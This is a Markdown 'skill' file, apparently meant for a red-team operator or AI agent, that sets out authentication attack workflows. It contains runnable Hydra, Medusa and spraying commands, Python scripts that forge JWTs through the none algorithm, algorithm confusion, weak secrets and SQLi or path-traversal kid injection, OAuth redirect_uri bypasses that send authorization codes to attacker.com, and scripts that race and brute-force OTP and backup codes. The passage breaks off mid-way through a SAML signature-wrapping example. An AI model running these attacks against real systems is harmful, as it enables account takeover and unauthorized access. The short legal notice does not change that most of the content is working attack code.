---
name: rt-exploit-auth
description: "Authentication testing skill. Covers password brute force (Hydra, Burp Intruder), password spraying, JWT attacks (none algorithm, algorithm confusion, weak secret, kid injection), OAuth 2.0 misconfigurations (redirect_uri bypass, PKCE downgrade), MFA bypass (response manipulation, OTP reuse, race conditions), and SAML attacks."
---

# rt-exploit-auth — Authentication Exploitation Skill

## 1. Overview

Authentication is the first enforcement point in any application. Weak or misconfigured authentication mechanisms are among the most impactful vulnerabilities a red team operator can exploit — they yield account takeover, privilege escalation, and full application compromise without ever touching business logic.

This skill covers the full authentication attack surface:

| Attack Category | Key Tools | Impact |
|---|---|---|
| Password brute force | Hydra, Medusa, Burp Intruder | Account takeover |
| Password spraying | Spray, MSOLSpray, kerbrute | Domain compromise, low lockout risk |
| JWT attacks | jwt_tool, PyJWT, CyberChef | Token forgery, privilege escalation |
| OAuth 2.0 misconfigs | Burp Suite, curl | Account hijacking, open redirect |
| MFA bypass | Burp Repeater, race condition scripts | 2FA defeat |
| SAML attacks | SAMLraider, xml-roundtrip | IdP impersonation, privilege escalation |

### Threat Model

All techniques in this skill operate against the authentication layer — the boundary between anonymous and authenticated. Targets include:

- Web applications with form-based login
- REST APIs with JWT bearer tokens
- SSO/federated systems using SAML or OAuth/OIDC
- Cloud control planes (Azure AD, AWS IAM, GCP IAM)
- VPN/RDP endpoints for credential stuffing

### Legal Notice

All techniques must only be executed against systems you have explicit written authorization to test. Unauthorized access is a criminal offense in virtually all jurisdictions. Maintain a signed scope-of-work document before executing any commands in this skill.

---

## 2. Skill Levels

### BEGINNER

Prerequisites: Basic HTTP knowledge, ability to run command-line tools, Burp Suite Community installed.

Goals:
- Run Hydra against a login form
- Decode and inspect a JWT manually
- Identify redirect_uri parameters in OAuth flows
- Recognize MFA response structures in Burp

### INTERMEDIATE

Prerequisites: Python scripting, Burp Suite Pro, basic understanding of cryptography (RSA vs HMAC).

Goals:
- Forge JWT tokens using the none algorithm
- Execute password spraying with lockout awareness
- Test redirect_uri bypass with open redirect chains
- Bypass MFA via response manipulation in Burp

### ADVANCED

Prerequisites: Cryptography fundamentals, custom scripting ability, JWT/OAuth/SAML RFC familiarity.

Goals:
- Perform RS256-to-HS256 algorithm confusion attacks
- Exploit weak JWT secrets with hashcat
- Abuse PKCE downgrade in OAuth flows
- Conduct SAML signature wrapping attacks
- Exploit JWT kid parameter injection (SQLi/path traversal)

### EXPERT

Prerequisites: Deep protocol knowledge, ability to write exploits from scratch, familiarity with cloud IAM.

Goals:
- Forge SAML assertions from scratch without the IdP private key
- Exploit JWT library vulnerabilities (CVE-level)
- Chain OAuth misconfigs to full account takeover via CSRF
- Abuse refresh token rotation flaws for persistent access
- Build race condition exploits for OTP reuse at scale

---

## 3. Step-by-Step Attack Workflows

### 3.1 Password Brute Force Workflow

**Step 1 — Fingerprint the login endpoint**

```bash
# Identify the form action, method, and field names
curl -s https://target.com/login | grep -i 'form\|input\|name='

# Use whatweb for tech fingerprinting
whatweb https://target.com/login

# Check response differences between valid/invalid credentials
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/login \
  -d "username=admin&password=INVALID123"
```

**Step 2 — Identify lockout policy**

```bash
# Send 5 failed attempts and observe the response
for i in {1..5}; do
  curl -s -X POST https://target.com/login \
    -d "username=testuser&password=wrong$i" \
    -c /tmp/cookies.txt -b /tmp/cookies.txt \
    -w "Attempt $i: HTTP %{http_code}\n" -o /dev/null
  sleep 1
done
```

**Step 3 — Prepare wordlists**

```bash
# Download standard wordlists
wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt

# Generate target-specific wordlist with CeWL
cewl https://target.com -d 3 -m 6 -w /tmp/target_wordlist.txt

# Combine and deduplicate
cat /tmp/target_wordlist.txt /usr/share/wordlists/rockyou.txt | sort -u > /tmp/combined.txt

# Create username list from LinkedIn scraping (if in scope)
# Use CrossLinked or similar OSINT tool
python3 CrossLinked.py -f '{first}.{last}@target.com' "Target Company" -o users.txt
```

**Step 4 — Execute Hydra brute force**

```bash
# HTTP POST form brute force
hydra -L users.txt -P /tmp/combined.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 4 -w 3 -o /tmp/hydra_results.txt -V

# With cookie session (when CSRF token is static)
hydra -L users.txt -P passwords.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^&csrf_token=abc123:F=Invalid" \
  -t 2 -w 5

# HTTPS target
hydra -L users.txt -P passwords.txt -s 443 -S target.com http-post-form \
  "/api/auth/login:email=^USER^&password=^PASS^:error" \
  -t 4 -o /tmp/hydra_https.txt

# HTTP Basic Authentication
hydra -L users.txt -P passwords.txt target.com http-get /admin/ -t 4

# SSH brute force
hydra -L users.txt -P passwords.txt ssh://target.com -t 4 -o /tmp/ssh_results.txt

# RDP brute force
hydra -L users.txt -P passwords.txt rdp://target.com -t 1 -V

# FTP brute force
hydra -f -L users.txt -P passwords.txt ftp://target.com

# SMB brute force
hydra -L users.txt -P passwords.txt smb://target.com
```

**Step 5 — Execute Medusa brute force (alternative)**

```bash
# HTTP form
medusa -h target.com -U users.txt -P passwords.txt \
  -M http -m FORM:"/login:username=MEDUSA_USER&password=MEDUSA_PASSWORD:Invalid" \
  -t 4 -f -v 6

# SSH
medusa -h target.com -U users.txt -P passwords.txt -M ssh -t 4 -f

# MSSQL
medusa -h db.target.com -U users.txt -P passwords.txt -M mssql -t 2
```

**Step 6 — Burp Intruder brute force (GUI workflow)**

```
1. Capture login request in Burp Proxy
2. Right-click -> Send to Intruder
3. Positions tab: Clear all, highlight password field, click Add
4. Attack type: Sniper
5. Payloads tab: Load wordlist
6. Options: Set grep-match for "Invalid" (failure string)
7. Options: Set max concurrent requests to 2 (avoid lockout)
8. Start attack
9. Sort by Length or Status column to find anomalies
```

---

### 3.2 Password Spraying Workflow

Password spraying sends one or a few passwords to many accounts — avoiding lockout thresholds.

**Step 1 — Enumerate valid usernames first**

```bash
# Username enumeration via timing difference
python3 - <<'EOF'
import requests, time

users = open('users.txt').read().splitlines()
for user in users:
    start = time.time()
    r = requests.post('https://target.com/login',
        data={'username': user, 'password': 'Spring2024!'},
        allow_redirects=False, timeout=10)
    elapsed = time.time() - start
    print(f"{user}: HTTP {r.status_code} | {elapsed:.3f}s | Len: {len(r.text)}")
EOF

# Username enumeration via response difference
ffuf -w users.txt -X POST -u https://target.com/login \
  -d "username=FUZZ&password=invalid" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -fr "User not found" -fc 302 -v
```

**Step 2 — Identify password policy**

```bash
# Check the password policy page or registration page
curl -s https://target.com/register | grep -i 'password\|minimum\|require\|must'

# Common spray passwords that meet most policies:
# Spring2024!, Summer2024!, Winter2024!, Password1!, Welcome1!
# Company2024!, [CompanyName]1!, Changeme1!
```

**Step 3 — Execute spray with delay**

```bash
# Manual spray script with lockout-aware delay
python3 - <<'EOF'
import requests, time, sys

users = open('users.txt').read().splitlines()
password = 'Spring2024!'
delay = 30  # seconds between attempts per user
results = []

session = requests.Session()
# Get CSRF token if needed
resp = session.get('https://target.com/login')
# Parse csrf_token from resp.text here if needed

for i, user in enumerate(users):
    r = session.post('https://target.com/login',
        data={'username': user, 'password': password},
        allow_redirects=False)
    status = 'HIT' if r.status_code == 302 else 'MISS'
    print(f"[{i+1}/{len(users)}] {user}: {status} (HTTP {r.status_code})")
    if status == 'HIT':
        results.append(f"{user}:{password}")
    time.sleep(delay / len(users))  # distribute delay evenly

with open('/tmp/spray_hits.txt', 'w') as f:
    f.write('\n'.join(results))
print(f"\nHits saved to /tmp/spray_hits.txt")
EOF

# Azure AD / Office 365 spraying with MSOLSpray
python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \
  --out /tmp/o365_hits.txt

# Kerbrute for Active Directory environments
./kerbrute passwordspray -d target.local --dc 10.10.10.1 users.txt 'Spring2024!'

# GoSpray for web applications
gospray -users users.txt -passwords passwords.txt \
  -url https://target.com/login \
  -data "username={{user}}&password={{pass}}" \
  -success "dashboard" -delay 30
```

---

### 3.3 JWT Attack Workflow

#### 3.3.1 JWT Inspection and Decoding

**Step 1 — Capture and decode JWT**

```bash
# Decode without verification (base64)
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.SIGNATURE"

# Decode header
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool

# Decode payload
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Using jwt_tool
python3 jwt_tool.py $TOKEN

# Using jq pipeline
echo $TOKEN | cut -d. -f2 | base64 --decode 2>/dev/null | jq .
```

**Step 2 — Enumerate JWT configuration**

```bash
# Check if the server accepts unsigned tokens
# Try none algorithm first
python3 jwt_tool.py $TOKEN -X a

# Check algorithm in header
echo $TOKEN | cut -d. -f1 | base64 -d | jq -r '.alg'

# Run all jwt_tool checks
python3 jwt_tool.py $TOKEN -t https://target.com/api/profile \
  -rh "Authorization: Bearer *TOKEN*" -M at
```

#### 3.3.2 None Algorithm Attack

**Step 1 — Forge token with none algorithm**

```bash
# Using jwt_tool (automated)
python3 jwt_tool.py $TOKEN -X a

# Manual Python approach
python3 - <<'EOF'
import base64, json

def b64url_encode(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Modified header
header = {"alg": "none", "typ": "JWT"}
# Modified payload - escalate role
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}

h = b64url_encode(json.dumps(header, separators=(',', ':')))
p = b64url_encode(json.dumps(payload, separators=(',', ':')))

# None algorithm = no signature
forged = f"{h}.{p}."
print(f"Forged token:\n{forged}")
EOF

# Test with curl
FORGED="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0Iiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ."
curl -H "Authorization: Bearer $FORGED" https://target.com/api/admin
```

**Step 2 — Test variations of none**

```bash
# Servers may be case-sensitive or check exact string
for alg in "none" "None" "NONE" "nOnE" "NoNe"; do
  python3 - <<PYEOF
import base64, json

def b64url_encode(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = {"alg": "$alg", "typ": "JWT"}
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
h = b64url_encode(json.dumps(header, separators=(',', ':')))
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
print(f"$alg: {h}.{p}.")
PYEOF
done
```

#### 3.3.3 RS256 to HS256 Algorithm Confusion Attack

This attack exploits servers that use the same key for both RSA verification and HMAC secret. The attacker uses the public RSA key as the HMAC secret.

**Step 1 — Obtain the server's RSA public key**

```bash
# Method 1: JWKS endpoint (most common)
curl -s https://target.com/.well-known/jwks.json | jq .
curl -s https://target.com/auth/.well-known/jwks.json | jq .
curl -s https://target.com/api/auth/jwks | jq .

# Common JWKS paths to try
for path in \
  "/.well-known/jwks.json" \
  "/jwks.json" \
  "/auth/jwks" \
  "/oauth/jwks" \
  "/.well-known/openid-configuration"; do
  echo -n "$path: "
  curl -s -o /dev/null -w "%{http_code}" https://target.com$path
  echo
done

# Method 2: Extract from existing JWT if embedded (x5c claim)
echo $TOKEN | cut -d. -f1 | base64 -d | jq -r '.x5c[0]' | \
  openssl x509 -pubkey -noout 2>/dev/null

# Method 3: SSL certificate public key (sometimes reused)
echo | openssl s_client -connect target.com:443 2>/dev/null | \
  openssl x509 -pubkey -noout > /tmp/server_pub.pem

# Method 4: Derive from two JWTs (if you have multiple tokens)
# Use rsa_sign2n tool
python3 rsa_sign2n/rsa_sign2n.py $TOKEN1 $TOKEN2
```

**Step 2 — Convert JWKS public key to PEM**

```python
# Convert JWK to PEM format
python3 - <<'EOF'
import json, base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

# Paste your JWK here
jwk = {
    "kty": "RSA",
    "n": "PASTE_N_VALUE_HERE",
    "e": "AQAB"
}

def b64url_decode(s):
    s += '=' * (4 - len(s) % 4)
    return base64.urlsafe_b64decode(s)

n = int.from_bytes(b64url_decode(jwk['n']), 'big')
e = int.from_bytes(b64url_decode(jwk['e']), 'big')

public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(pem.decode())
with open('/tmp/server_pub.pem', 'wb') as f:
    f.write(pem)
print("Saved to /tmp/server_pub.pem")
EOF
```

**Step 3 — Forge HS256 token signed with the RSA public key**

```bash
# Using jwt_tool (automated - recommended)
python3 jwt_tool.py $TOKEN -X k -pk /tmp/server_pub.pem

# Manual Python approach
python3 - <<'EOF'
import base64, json, hmac, hashlib

def b64url_encode(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Read public key bytes as the HMAC secret
with open('/tmp/server_pub.pem', 'rb') as f:
    secret = f.read()

# Forge header with HS256
header = {"alg": "HS256", "typ": "JWT"}
# Forge payload with elevated privileges
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}

h = b64url_encode(json.dumps(header, separators=(',', ':')))
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
signing_input = f"{h}.{p}".encode()

sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
s = b64url_encode(sig)

forged = f"{h}.{p}.{s}"
print(f"Forged HS256 token (signed with RSA public key):")
print(forged)
EOF

# Test the forged token
curl -H "Authorization: Bearer $FORGED_TOKEN" \
  https://target.com/api/admin/users -v
```

**Step 4 — Modify payload claims before forging**

```bash
# Common payload modifications
python3 - <<'EOF'
import base64, json

def b64url_decode(s):
    s += '=' * (4 - len(s) % 4)
    return base64.urlsafe_b64decode(s).decode()

token = "YOUR_TOKEN_HERE"
payload_b64 = token.split('.')[1]
payload = json.loads(b64url_decode(payload_b64))
print("Original payload:", json.dumps(payload, indent=2))

# Modifications to try:
# payload['role'] = 'admin'
# payload['sub'] = '1'           # often admin user
# payload['user_id'] = 0         # SQL admin bypass
# payload['is_admin'] = True
# payload['scope'] = 'admin read write'
# payload['groups'] = ['admin', 'superuser']
# payload['exp'] = 9999999999    # extend expiry
EOF
```

#### 3.3.4 Weak Secret Attack (HS256)

**Step 1 — Extract JWT for cracking**

```bash
# jwt_tool scan for weak secrets
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt

# hashcat JWT cracking
echo $TOKEN > /tmp/jwt.txt
hashcat -a 0 -m 16500 /tmp/jwt.txt /usr/share/wordlists/rockyou.txt \
  --potfile-path /tmp/jwt.pot -O

# john the ripper
john --format=HMAC-SHA256 /tmp/jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Custom wordlist for JWT secrets
cat > /tmp/jwt_secrets.txt <<'SECRETS'
secret
password
123456
jwt_secret
mysecret
supersecret
your-256-bit-secret
your-secret-key
secret123
jwt-secret
jwtpassword
hs256secret
SECRETS

hashcat -a 0 -m 16500 /tmp/jwt.txt /tmp/jwt_secrets.txt -O --show
```

**Step 2 — Forge after cracking**

```python
python3 - <<'EOF'
import jwt  # PyJWT

secret = "secret123"  # cracked secret
payload = {"sub": "1", "role": "admin", "exp": 9999999999}

token = jwt.encode(payload, secret, algorithm="HS256")
print(f"Forged token: {token}")
EOF
```

#### 3.3.5 JWT kid Parameter Injection

The `kid` (Key ID) header parameter is used to select a verification key. If it's passed unsanitized to a database query or filesystem read, it can be injected.

**Step 1 — Identify kid usage**

```bash
# Decode JWT header to find kid
echo $TOKEN | cut -d. -f1 | base64 -d | python3 -m json.tool
# Look for: "kid": "some-key-id"
```

**Step 2 — SQL injection via kid**

```bash
# Inject SQL to make the server use a known value as the key
# If the query is: SELECT secret FROM keys WHERE kid = '<KID>'
# Inject: ' UNION SELECT 'hacked'-- -

# The server will use 'hacked' as the HMAC secret
# Sign your token with 'hacked' as the secret

python3 - <<'EOF'
import base64, json, hmac, hashlib

def b64url_encode(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# kid payload with SQL injection
header = {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "' UNION SELECT 'hacked'-- -"
}
payload = {"sub": "1", "role": "admin", "exp": 9999999999}

h = b64url_encode(json.dumps(header, separators=(',', ':')))
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
signing_input = f"{h}.{p}".encode()

secret = b"hacked"
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
s = b64url_encode(sig)
print(f"{h}.{p}.{s}")
EOF

# jwt_tool kid injection
python3 jwt_tool.py $TOKEN -I -hc kid -hv "' UNION SELECT 'hacked'-- -" \
  -S hs256 -p "hacked"
```

**Step 3 — Path traversal via kid**

```bash
# If kid is used to read a key file: /keys/<kid>
# Inject path traversal to use /dev/null (empty key) or a known file

python3 - <<'EOF'
import base64, json, hmac, hashlib

def b64url_encode(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Point to /dev/null — empty string as HMAC key
header = {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "../../../../../../dev/null"
}
payload = {"sub": "1", "role": "admin", "exp": 9999999999}

h = b64url_encode(json.dumps(header, separators=(',', ':')))
p = b64url_encode(json.dumps(payload, separators=(',', ':')))
signing_input = f"{h}.{p}".encode()

# Empty secret (from /dev/null)
secret = b""
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
s = b64url_encode(sig)
print(f"Path traversal token:\n{h}.{p}.{s}")
EOF

# Common path traversal kid payloads
# "../../dev/null"
# "../../../etc/passwd"
# "/proc/self/fd/0"
# "../../../../../../../../dev/null"
```

---

### 3.4 OAuth 2.0 Misconfiguration Workflow

#### 3.4.1 Reconnaissance

**Step 1 — Discover OAuth endpoints**

```bash
# Check OpenID Connect discovery document
curl -s https://target.com/.well-known/openid-configuration | jq .
curl -s https://auth.target.com/.well-known/openid-configuration | jq .

# Extract key endpoints
curl -s https://target.com/.well-known/openid-configuration | jq '{
  auth_endpoint: .authorization_endpoint,
  token_endpoint: .token_endpoint,
  jwks_uri: .jwks_uri,
  userinfo_endpoint: .userinfo_endpoint
}'

# Find OAuth flows in JavaScript
curl -s https://target.com/app.js | grep -i 'redirect_uri\|client_id\|oauth\|authorize'

# Capture OAuth flow in Burp and analyze parameters
# Look for: client_id, redirect_uri, scope, state, code_challenge
```

#### 3.4.2 redirect_uri Bypass

**Step 1 — Identify the registered redirect_uri**

```bash
# The redirect_uri appears in the authorization URL
# https://auth.target.com/authorize?
#   client_id=abc&
#   redirect_uri=https://target.com/callback&
#   response_type=code&
#   scope=openid

ORIGINAL_URI="https://target.com/callback"
```

**Step 2 — Test redirect_uri bypass techniques**

```bash
BASE_AUTH="https://auth.target.com/authorize?client_id=abc&response_type=code&scope=openid"

# Technique 1: Open redirect on the registered domain
# If target.com/redirect?url= is an open redirect
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/redirect?url=https://attacker.com"

# Technique 2: Path traversal
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../evil"
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../../evil"

# Technique 3: Different path under same domain
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/different-path"
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback.evil.com"

# Technique 4: Subdomain variations
curl -v "${BASE_AUTH}&redirect_uri=https://evil.target.com/callback"
curl -v "${BASE_AUTH}&redirect_uri=https://target.com.evil.com/callback"

# Technique 5: Protocol variations
curl -v "${BASE_AUTH}&redirect_uri=http://target.com/callback"      # HTTP instead of HTTPS
curl -v "${BASE_AUTH}&redirect_uri=JavaScript://target.com/callback" # JS URI

# Technique 6: URL encoding bypass
curl -v "${BASE_AUTH}&redirect_uri=https://target.com%2Fcallback"
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback%00.evil.com"

# Technique 7: Port confusion
curl -v "${BASE_AUTH}&redirect_uri=https://target.com:8443/callback"

# Technique 8: Localhost bypass (dev/staging leftover)
curl -v "${BASE_AUTH}&redirect_uri=http://localhost/callback"
curl -v "${BASE_AUTH}&redirect_uri=http://127.0.0.1/callback"

# Technique 9: Wildcard misuse
# If registered: https://target.com/*
curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../../attacker.com"
```

**Step 3 — Steal the authorization code**

```bash
# Set up a listener on attacker.com
# The auth code will appear in the URL when the victim clicks a link

# Example attack URL to send to victim:
echo "https://auth.target.com/authorize?client_id=abc&response_type=code&scope=openid&redirect_uri=https://target.com/redirect?url=https://attacker.com&state=csrf123"

# On attacker.com, capture the code parameter from:
# GET /? code=AUTH_CODE_HERE&state=csrf123

# Exchange code for tokens
curl -X POST https://auth.target.com/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE_HERE" \
  -d "redirect_uri=https://attacker.com" \
  -d "client_id=abc" \
  -d "client_secret=secret_if_known"
```

#### 3.4.3 State Parameter CSRF

```bash
# If state parameter is missing or predictable, CSRF attack is possible
# Step 1: Initiate OAuth flow without state
# Step 2: Capture the authorization URL
# Step 3: Victim clicks the URL (while already logged into the OAuth provider)
# Step 4: Victim's account gets linked to attacker's identity

# Test: Does removing state parameter work?
curl -v "https://auth.target.com/authorize?client_id=abc&redirect_uri=https://target.com/callback&response_type=code&scope=openid"
# (no state parameter)
```

#### 3.4.4 PKCE Downgrade Attack

```bash
# PKCE (Proof Key for Code Exchange) prevents code interception
# If the server doesn't enforce PKCE, downgrade by omitting it

# Normal PKCE request includes:
# code_challenge=BASE64URL(SHA256(code_verifier))
# code_challenge_method=S256

# Downgrade: Remove code_challenge parameters
curl -v "https://auth.target.com/authorize?\
client_id=abc&\
redirect_uri=https://target.com/callback&\
response_type=code&\
scope=openid"
# (no code_challenge or code_challenge_method)

# If server returns a code without requiring PKCE verification,
# you can exchange the code without the code_verifier:
curl -X POST https://auth.target.com/token \
  -d "grant_type=authorization_code" \
  -d "code=STOLEN_CODE" \
  -d "redirect_uri=https://target.com/callback" \
  -d "client_id=abc"
  # (no code_verifier required)
```

#### 3.4.5 Token Leakage via Referrer

```bash
# If response_type=token (implicit flow), the token is in the URL fragment
# Check if the application leaks the token via Referrer header

# Look for requests made FROM the callback page with token in URL
# In Burp: Search HTTP history for "access_token=" in request URLs

# Also check:
# - Browser history
# - Server access logs (if accessible)
# - JavaScript that reads window.location.hash and passes it to third-party analytics

curl -s https://target.com/dashboard | grep -i 'analytics\|gtm\|ga\.\|pixel'
```

---

### 3.5 MFA Bypass Workflow

#### 3.5.1 Response Manipulation

**Step 1 — Capture the MFA verification request in Burp**

```
POST /api/mfa/verify HTTP/1.1
Host: target.com
Content-Type: application/json

{"code": "123456"}

Response (failure):
{"success": false, "message": "Invalid code"}

Response (success):
{"success": true, "redirect": "/dashboard"}
```

**Step 2 — Intercept and modify the response**

```
In Burp Proxy:
1. Enable "Intercept responses" (Options > Intercept Client Responses)
2. Submit wrong OTP code (e.g., 000000)
3. Intercept the failure response
4. Change: {"success": false} to {"success": true}
5. Forward modified response
6. Observe if application grants access

Also try:
- Change HTTP status code from 200 to 302
- Add "redirect" field: {"success": false, "redirect": "/dashboard"}
- Remove error field: {} (empty JSON)
```

**Step 3 — Automate with Burp Repeater rule**

```
Burp > Project Options > Match and Replace:
- Type: Response body
- Match: "success":false
- Replace: "success":true
```

#### 3.5.2 OTP Code Reuse

```bash
# Test if OTP codes can be reused within the validity window
# Step 1: Get a valid OTP code from your authenticator app
# Step 2: Use it to log in successfully
# Step 3: Immediately try to use the SAME code again

curl -X POST https://target.com/api/mfa/verify \
  -H "Cookie: session=CAPTURED_SESSION" \
  -d '{"code": "123456"}'

# Wait 30 seconds (OTP window boundary) and try again
sleep 31
curl -X POST https://target.com/api/mfa/verify \
  -H "Cookie: session=CAPTURED_SESSION" \
  -d '{"code": "123456"}'

# Also test: can you use the PREVIOUS OTP window code?
# TOTP generates codes in 30s windows; try the code from t-30 seconds
```

#### 3.5.3 Race Condition OTP Bypass

```bash
# Send multiple simultaneous requests with the same OTP
# If the server doesn't properly lock before consuming the OTP,
# multiple requests might succeed

# Python race condition exploit
python3 - <<'EOF'
import requests, threading, time

TARGET = "https://target.com/api/mfa/verify"
SESSION_COOKIE = "session=CAPTURED_SESSION_AFTER_PASSWORD"
OTP_CODE = "123456"  # Valid OTP
NUM_THREADS = 20

results = []
lock = threading.Lock()

def send_request(thread_id):
    headers = {"Cookie": SESSION_COOKIE, "Content-Type": "application/json"}
    data = f'{{"code": "{OTP_CODE}"}}'
    try:
        r = requests.post(TARGET, headers=headers, data=data, timeout=5)
        with lock:
            results.append((thread_id, r.status_code, r.text[:100]))
    except Exception as e:
        with lock:
            results.append((thread_id, 'ERROR', str(e)))

# Synchronize thread start for maximum race condition effect
barrier = threading.Barrier(NUM_THREADS + 1)

def synced_request(tid):
    barrier.wait()  # Wait for all threads to be ready
    send_request(tid)

threads = [threading.Thread(target=synced_request, args=(i,)) for i in range(NUM_THREADS)]
for t in threads: t.start()
barrier.wait()  # Release all threads simultaneously
for t in threads: t.join()

for tid, code, text in results:
    print(f"Thread {tid}: HTTP {code} | {text}")
EOF
```

#### 3.5.4 OTP Brute Force (when no rate limit)

```bash
# If there's no rate limit or lockout on OTP endpoint
python3 - <<'EOF'
import requests, time

TARGET = "https://target.com/api/mfa/verify"
COOKIE = "session=CAPTURED_SESSION"

headers = {"Cookie": COOKIE, "Content-Type": "application/json"}

for code in range(0, 1000000):
    otp = str(code).zfill(6)
    r = requests.post(TARGET, headers=headers,
                      json={"code": otp}, timeout=5)
    if "success" in r.text and "true" in r.text.lower():
        print(f"[HIT] OTP: {otp}")
        break
    if code % 1000 == 0:
        print(f"Tried {code}/1000000...")
    time.sleep(0.05)  # Adjust based on rate limits
EOF

# Burp Intruder brute force OTP:
# 1. Capture MFA verify request
# 2. Send to Intruder
# 3. Mark the OTP field
# 4. Payload: Numbers 0-999999, min/max 6 digits, step 1
# 5. Watch for different response length/status
```

#### 3.5.5 MFA Bypass via Direct Navigation

```bash
# Test if MFA step can be skipped by directly accessing protected endpoints
# after completing only the password step

# Step 1: Submit correct username/password (do NOT submit OTP)
curl -c /tmp/cookies.txt -X POST https://target.com/login \
  -d "username=user@target.com&password=Password1!"

# Step 2: Without submitting OTP, try to access protected pages
curl -b /tmp/cookies.txt https://target.com/dashboard
curl -b /tmp/cookies.txt https://target.com/api/profile
curl -b /tmp/cookies.txt https://target.com/admin

# Step 3: Manipulate the session state
# If server uses a flag like mfa_verified=false in session cookie:
# Decode the session cookie, flip the flag, re-encode and test
```

#### 3.5.6 Backup Code Exploitation

```bash
# Test backup code properties
# 1. Enumeration: Are backup codes sequential?
# 2. Reuse: Can a backup code be used multiple times?
# 3. Generation: Can you force regeneration to invalidate existing codes?
# 4. Brute force: Are backup codes short enough to brute force?

# Common backup code formats:
# 8-digit numeric: 10^8 = 100 million combinations
# 10 chars alphanumeric: 36^10 = 3.6 trillion (too many)
# 8 chars lowercase hex: 16^8 = 4 billion

# If 8-digit numeric with no rate limit:
python3 - <<'EOF'
import requests

for code in range(10000000, 99999999):
    r = requests.post("https://target.com/api/backup-code/verify",
                      json={"code": str(code)},
                      cookies={"session": "CAPTURED_SESSION"})
    if r.status_code == 200 and "success" in r.text:
        print(f"[HIT] Backup code: {code}")
        break
EOF
```

---

### 3.6 SAML Attack Workflow

#### 3.6.1 Reconnaissance

**Step 1 — Identify SAML endpoints and metadata**

```bash
# Common SAML SP metadata paths
for path in \
  "/saml/metadata" \
  "/auth/saml/metadata" \
  "/sso/saml/metadata" \
  "/_saml/metadata" \
  "/api/auth/saml/metadata" \
  "/Saml2/Metadata"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com$path)
  echo "$path: $code"
done

# Parse metadata to understand configuration
curl -s https://target.com/saml/metadata | python3 - <<'EOF'
import sys
from xml.etree import ElementTree as ET
data = sys.stdin.read()
root = ET.fromstring(data)
print(ET.tostring(root, indent='  ').decode())
EOF

# Capture SAML flow in Burp:
# 1. SP-initiated: Click "Login with SSO"
# 2. Capture the SAMLRequest (base64 encoded XML)
# 3. Capture the SAMLResponse from IdP
```

**Step 2 — Decode and inspect SAML assertions**

```bash
# Decode SAMLResponse (base64 + possibly gzip)
SAML_RESPONSE="BASE64_ENCODED_SAML_RESPONSE"

# Decode
echo $SAML_RESPONSE | base64 -d | xmllint --format - 2>/dev/null

# If deflate compressed (SAMLRequest in redirect binding):
echo $SAML_RESPONSE | base64 -d | python3 -c "
import sys, zlib
data = sys.stdin.buffer.read()
print(zlib.decompress(data, -15).decode())
"

# Using python-saml or pysaml2 for analysis
pip3 install python3-saml
python3 - <<'EOF'
import base64
from lxml import etree

response_b64 = "PASTE_SAML_RESPONSE_HERE"
response_xml = base64.b64decode(response_b64)
root = etree.fromstring(response_xml)
print(etree.tostring(root, pretty_print=True).decode())
EOF
```

#### 3.6.2 XML Signature Wrapping (XSW) Attack

XSW attacks move the signed portion of the XML while inserting a malicious unsigned portion that the application processes.

**Step 1 — Understand the SAML assertion structure**

```xml
<!-- Legitimate SAML response structure -->
<samlp:Response>
  <Signature>
    <!-- Signs the Assertion below -->
    <Reference URI="#assertion1"/>
  </Signature>
  <saml:Assertion ID="assertion1">
    <saml:Subject>
      <saml:NameID>victim@target.com</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="role">
        <saml:AttributeValue>user</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
